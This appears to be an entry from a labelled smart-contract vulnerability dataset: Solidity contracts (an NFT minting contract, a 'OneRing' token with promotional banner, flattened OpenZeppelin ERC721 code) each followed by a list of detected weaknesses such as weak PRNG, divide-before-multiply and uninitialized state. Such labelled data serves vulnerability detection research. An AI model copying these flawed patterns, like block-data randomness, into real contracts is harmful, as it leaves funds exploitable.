* @dev Returns the claim price
*/
function getmintPrice() external view returns (uint256) {
return mintPrice;
}
/**
* @dev Returns the total supply
*/
function totalSupply() external view virtual returns (uint256) {
return totalMintedTokens;
}
// Private and Internal functions
/**
* @dev Returns a random available Hare to be claimed
*/
function getHareToBeClaimed() private returns (uint256) {
uint256 random = _getRandomNumber(availableHares.length);
uint256 tokenId = uint256(availableHares[random]);
availableHares[random] = availableHares[availableHares.length - 1];
availableHares.pop();
return tokenId;
}
/**
* @dev Generates a pseudo-random number.
*/
function _getRandomNumber(uint256 _upper) private view returns (uint256) {
uint256 random = uint256(
keccak256(
abi.encodePacked(
availableHares.length,
blockhash(block.number - 1),
block.coinbase,
block.difficulty,
msg.sender
)
)
);
return random % _upper;
}
/**
* @dev Generates a pseudo-random number given a range
*/
function _random(uint256 _upper) private view returns (uint256) {
uint256 randomHash = uint256(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), block.difficulty, msg.sender)));
return randomHash % _upper;
}
/**
* @dev See {ERC721}.
*/
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mulScale(
uint256 x,
uint256 y,
uint128 scale
) internal pure returns (uint256) {
uint256 a = x / scale;
uint256 b = x % scale;
uint256 c = y / scale;
uint256 d = y % scale;
return a * c * scale + a * d + b * c + (b * d) / scale;
}
} | These are the vulnerabilities found
1) divide-before-multiply with Medium impact
2) incorrect-equality with Medium impact
3) uninitialized-local with Medium impact
4) weak-prng with High impact
5) unused-return with Medium impact |
/**
________ __ __ ________ ______ __ __ ________ _______ ______ __ __ ______
| | \ | | \ / \| \ | | \ | \| | \ | \/ \
\$$$$$$$| $$ | $| $$$$$$$$ | $$$$$$| $$\ | $| $$$$$$$$ | $$$$$$$\\$$$$$| $$\ | $| $$$$$$\
| $$ | $$__| $| $$__ | $$ | $| $$$\| $| $$__ | $$__| $$ | $$ | $$$\| $| $$ __\$$
| $$ | $$ $| $$ \ | $$ | $| $$$$\ $| $$ \ | $$ $$ | $$ | $$$$\ $| $$| \
| $$ | $$$$$$$| $$$$$ | $$ | $| $$\$$ $| $$$$$ | $$$$$$$\ | $$ | $$\$$ $| $$ \$$$$
| $$ | $$ | $| $$_____ | $$__/ $| $$ \$$$| $$_____ | $$ | $$_| $$_| $$ \$$$| $$__| $$
| $$ | $$ | $| $$ \ \$$ $| $$ \$$| $$ \ | $$ | $| $$ | $$ \$$$\$$ $$
\$$ \$$ \$$\$$$$$$$$ \$$$$$$ \$$ \$$\$$$$$$$$ \$$ \$$\$$$$$$\$$ \$$ \$$$$$$
🔥 The One Ring was forged in the Ethereum Doom by the Dark Lord Sauron. Sauron intended it to be the most powerful weapon for the strongest holder. 🔥
⭕ One Ring's rules ⭕
▶ If you make the biggest buy (in tokens) you will hold the One Ring for one hour, and collect 4% fees (in ETH) the same way marketing does.
Once the hour is finished, the counter will be reset and everyone will be able to compete again for the One Ring.
▶ If you sell any tokens at all at any point you are not worthy of the One Ring.
▶ If someone beats your record, they steal you the One Ring.
Website: https://oneringeth.com
Twitter: https://twitter.com/OneringETH
Telegram: https://t.me/OneRingEntry
___
.';:;'.
/_' _' /\ __
;a/ e= J/-'" '.
\ ~_ ( -' ( ;_ ,.
L~"'_. -. \ ./ )
,'-' '-._ _; )' (
.' .' _.'") \ \( |
/ ( .-' __\{`', \ |
/ .' / _.-' " ; / |
/ / '-._'-, / / \ (
__/ (_ ,;' .-' / / /_'-._
`"-'` ~` ccc.' __.',' \j\L\
.='/|\7
' `
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract OneRing is IERC20 {
using SafeMath for uint256;
string constant _name = "ONERING";
string constant _symbol = "RING";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
uint256 _totalSupply = 10000 * (10**_decimals);
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
constructor() {
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: Nico/Incognito/index-prod.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
